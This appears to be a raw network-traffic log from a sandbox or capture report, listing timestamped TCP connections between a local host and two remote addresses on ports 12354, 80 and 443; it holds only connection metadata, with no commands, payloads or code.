Dec 11, 2024 16:27:19.291910887 CET	12354	49731	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.291927099 CET	12354	49730	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.406116962 CET	12354	49749	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.406140089 CET	12354	49750	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.406205893 CET	49749	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.406236887 CET	49750	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.406537056 CET	49749	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.406656027 CET	49750	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.525885105 CET	12354	49749	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.526063919 CET	12354	49750	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.666069984 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:19.785598040 CET	80	49754	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:19.785716057 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:19.786256075 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:19.905822992 CET	80	49754	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:21.351124048 CET	80	49754	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:21.351273060 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:21.517888069 CET	12354	49750	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.517991066 CET	49750	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.518038988 CET	12354	49749	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.518084049 CET	49749	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.523171902 CET	49750	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.523916006 CET	49768	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.524235964 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:21.524260044 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:21.524298906 CET	49749	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.524327040 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:21.534899950 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:21.534928083 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:21.629833937 CET	49770	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.642489910 CET	12354	49750	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.643172979 CET	12354	49768	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.643255949 CET	49768	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.643549919 CET	12354	49749	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.645078897 CET	49768	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.752130985 CET	12354	49770	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.752285957 CET	49770	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.752434015 CET	49770	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:21.766695023 CET	12354	49768	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:21.874236107 CET	12354	49770	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:23.233930111 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:23.233997107 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:23.235043049 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:23.235136032 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:23.295499086 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:23.295521021 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:23.295890093 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:23.295943022 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:23.299069881 CET	49768	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.299101114 CET	49770	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.299550056 CET	49784	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.299841881 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:23.343339920 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:23.419079065 CET	12354	49784	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:23.419342995 CET	49784	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.422122955 CET	49787	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.422338009 CET	49784	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.542028904 CET	12354	49787	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:23.542054892 CET	12354	49784	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:23.542186022 CET	49787	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.542344093 CET	49787	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:23.661602020 CET	12354	49787	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:24.105823040 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:24.105907917 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:24.105947018 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.105977058 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.182688951 CET	49769	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.182725906 CET	443	49769	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:24.311340094 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.311742067 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.431196928 CET	80	49754	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:24.431248903 CET	80	49792	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:24.431258917 CET	49754	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.431345940 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.431788921 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:24.554645061 CET	80	49792	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:25.533653975 CET	12354	49784	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.533742905 CET	49784	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.534204006 CET	49784	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.534600973 CET	49803	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.657428026 CET	12354	49784	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.657799006 CET	12354	49803	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.657902956 CET	49803	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.658471107 CET	12354	49787	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.658698082 CET	49787	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.659867048 CET	49803	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.660247087 CET	49787	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.660480022 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.779129982 CET	12354	49803	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.779437065 CET	12354	49787	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.779805899 CET	12354	49806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:25.780422926 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.780567884 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:25.901284933 CET	12354	49806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:26.006036997 CET	80	49792	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:26.006416082 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:26.008111954 CET	49810	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:26.008179903 CET	443	49810	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:26.008255959 CET	49810	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:26.008558989 CET	49810	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:26.008603096 CET	443	49810	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:27.298244953 CET	49810	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.298280954 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.298388004 CET	49803	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.299179077 CET	49819	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.418606997 CET	12354	49819	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:27.418718100 CET	49819	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.442369938 CET	49819	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.447382927 CET	49821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.448923111 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.449209929 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.564636946 CET	12354	49819	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:27.569118977 CET	12354	49821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:27.569241047 CET	49821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.571156025 CET	80	49792	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:27.571172953 CET	80	49822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:27.571276903 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.571291924 CET	49792	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.578680038 CET	49821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:27.578818083 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:27.698992014 CET	12354	49821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:27.699040890 CET	80	49822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:29.140459061 CET	80	49822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:29.143068075 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:29.174834013 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:29.174890041 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:29.175338030 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:29.177601099 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:29.177630901 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:29.534368038 CET	12354	49819	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:29.536587000 CET	49819	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.678220034 CET	12354	49821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:29.678334951 CET	49821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.786024094 CET	49819	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.786155939 CET	49839	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.786155939 CET	49821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.906191111 CET	12354	49819	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:29.906321049 CET	12354	49839	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:29.906338930 CET	12354	49821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:29.906471968 CET	49839	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.910706043 CET	49839	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:29.916661024 CET	49841	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:30.032018900 CET	12354	49839	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:30.037163019 CET	12354	49841	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:30.037283897 CET	49841	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:30.039336920 CET	49841	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:30.159429073 CET	12354	49841	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:30.870652914 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:30.870820045 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:30.871470928 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:30.872714996 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:30.884273052 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:30.884294987 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:30.884679079 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:30.888566971 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:30.889103889 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:30.935323954 CET	443	49836	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:31.454550028 CET	49841	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.454571009 CET	49836	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.454571009 CET	49839	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.455429077 CET	49855	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.567195892 CET	49857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.576046944 CET	12354	49855	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:31.576426983 CET	49855	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.576571941 CET	49855	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.596906900 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.597192049 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.687033892 CET	12354	49857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:31.687227964 CET	49857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.687426090 CET	49857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:31.696901083 CET	12354	49855	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:31.716538906 CET	80	49822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:31.716573954 CET	80	49858	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:31.716734886 CET	49822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.716741085 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.716912031 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:31.809385061 CET	12354	49857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:31.836401939 CET	80	49858	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:33.286979914 CET	80	49858	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:33.287071943 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:33.291054010 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:33.291100025 CET	443	49869	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:33.291177034 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:33.291742086 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:33.291757107 CET	443	49869	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:33.690475941 CET	12354	49855	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:33.690593958 CET	49855	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.690727949 CET	49855	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.691123962 CET	49874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.800693035 CET	12354	49857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:33.800796986 CET	49857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.801804066 CET	49857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.802294016 CET	49876	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.810214043 CET	12354	49855	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:33.810559988 CET	12354	49874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:33.810673952 CET	49874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:33.810789108 CET	49874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:34.050040007 CET	12354	49857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:34.050054073 CET	12354	49876	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:34.050127029 CET	49876	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:34.050235033 CET	12354	49874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:34.050709963 CET	49876	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:34.170046091 CET	12354	49876	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:34.989316940 CET	443	49869	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:34.989449024 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.164949894 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.164968014 CET	443	49869	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:35.181386948 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.181394100 CET	443	49869	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:35.476852894 CET	49876	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.476895094 CET	49869	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.476914883 CET	49874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.478477001 CET	49888	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.597913980 CET	12354	49888	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:35.597978115 CET	49888	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.600522995 CET	49888	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.602513075 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.602809906 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.605499029 CET	49891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.720125914 CET	12354	49888	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:35.722716093 CET	80	49858	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:35.722738981 CET	80	49890	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:35.722796917 CET	49858	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.722852945 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.723053932 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:35.725256920 CET	12354	49891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:35.725332022 CET	49891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.725433111 CET	49891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:35.844405890 CET	80	49890	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:35.847285986 CET	12354	49891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:37.282427073 CET	80	49890	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:37.282541037 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:37.287632942 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:37.287691116 CET	443	49906	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:37.287781954 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:37.288006067 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:37.288017035 CET	443	49906	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:37.724545002 CET	12354	49888	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:37.728550911 CET	49888	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:37.815999031 CET	49888	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:37.822496891 CET	49910	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:37.843156099 CET	12354	49891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:37.844389915 CET	49891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:37.938949108 CET	49891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.059647083 CET	12354	49888	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:38.059701920 CET	12354	49910	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:38.059962034 CET	49910	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.061809063 CET	12354	49891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:38.098537922 CET	49910	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.100544930 CET	49912	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.218875885 CET	12354	49910	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:38.221031904 CET	12354	49912	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:38.221419096 CET	49912	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.245316982 CET	49912	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:38.365381956 CET	12354	49912	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:39.085608006 CET	443	49906	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:39.085692883 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.091027975 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.091038942 CET	443	49906	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:39.092788935 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.092794895 CET	443	49906	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:39.595196009 CET	49912	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.595230103 CET	49906	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.595268965 CET	49910	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.595776081 CET	49924	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.710155964 CET	49926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.710480928 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.710704088 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.717619896 CET	12354	49924	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:39.719398022 CET	49924	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.719551086 CET	49924	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.829931021 CET	12354	49926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:39.830322981 CET	80	49927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:39.830452919 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.830452919 CET	49926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.830518961 CET	80	49890	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:39.830566883 CET	49890	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.831414938 CET	49926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:39.831536055 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:39.838748932 CET	12354	49924	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:39.951085091 CET	12354	49926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:39.951713085 CET	80	49927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:41.404967070 CET	80	49927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:41.405015945 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:41.408380985 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:41.408417940 CET	443	49940	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:41.408593893 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:41.408762932 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:41.408781052 CET	443	49940	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:41.847882032 CET	12354	49924	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:41.847995996 CET	49924	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.863065004 CET	49924	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.863435984 CET	49945	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.944876909 CET	12354	49926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:41.944987059 CET	49926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.945099115 CET	49926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.974345922 CET	49947	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.982450008 CET	12354	49924	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:41.982845068 CET	12354	49945	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:41.982959986 CET	49945	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:41.983107090 CET	49945	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:42.065557957 CET	12354	49926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:42.095406055 CET	12354	49947	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:42.095503092 CET	49947	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:42.101139069 CET	49947	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:42.102503061 CET	12354	49945	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:42.220617056 CET	12354	49947	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:43.091433048 CET	443	49940	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:43.091588974 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.092289925 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.092299938 CET	443	49940	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:43.093720913 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.093743086 CET	443	49940	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:43.610677004 CET	49947	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.610711098 CET	49940	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.610721111 CET	49945	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.611262083 CET	49961	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.724988937 CET	49963	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.725188971 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.725411892 CET	49964	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.730798960 CET	12354	49961	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:43.730905056 CET	49961	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.731024027 CET	49961	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.844695091 CET	12354	49963	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:43.844966888 CET	80	49964	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:43.844971895 CET	49963	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.845062971 CET	49964	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.845464945 CET	80	49927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:43.845551968 CET	49927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.845920086 CET	49963	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:43.846036911 CET	49964	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:43.850476980 CET	12354	49961	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:43.966963053 CET	12354	49963	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:43.967181921 CET	80	49964	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:45.415400982 CET	80	49964	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:45.415566921 CET	49964	80	192.168.2.8	202.108.0.52
